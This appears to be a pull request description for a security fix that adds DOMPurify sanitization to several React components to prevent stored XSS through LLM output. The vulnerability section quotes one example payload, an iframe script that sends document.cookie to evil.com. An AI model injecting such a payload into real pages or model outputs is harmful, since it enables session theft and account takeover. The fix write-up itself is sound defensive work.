Apply DOMPurify.sanitize() to all remaining dangerouslySetInnerHTML instances that were not already sanitized: - ChangelogModal: RSS feed content rendering - textbookCourse: marked.parse() markdown-to-HTML output - adminSettings: search highlight markup - EmptyStateCard: Shiki code highlighting output Prevents stored XSS via injected HTML/JS in rendered content. DOMPurify was already a dependency and used in CodeHighlighter and ErrorMessage components.

Summary
Sanitize all
dangerouslySetInnerHTMLusage with DOMPurify to prevent stored XSS attacks.Vulnerability
LLM outputs and other dynamic content rendered via
dangerouslySetInnerHTMLwere not sanitized. An attacker could inject HTML/JS payloads (e.g.,<iframe srcdoc="<script>document.location='https://evil.com/?c='+document.cookie</script>">) into LLM responses that would execute in the browser of anyone viewing the logs.Impact
Since Supabase session tokens do not have the
httpOnlyflag set, this enables full account takeover via cookie theft — any user viewing a poisoned log entry would have their session token exfiltrated.Fix

The primary chat message rendering path uses Streamdown (react-markdown) with
rehype-harden, which provides separate sanitization. This PR covers all the non-Streamdown rendering paths that were missing sanitization.
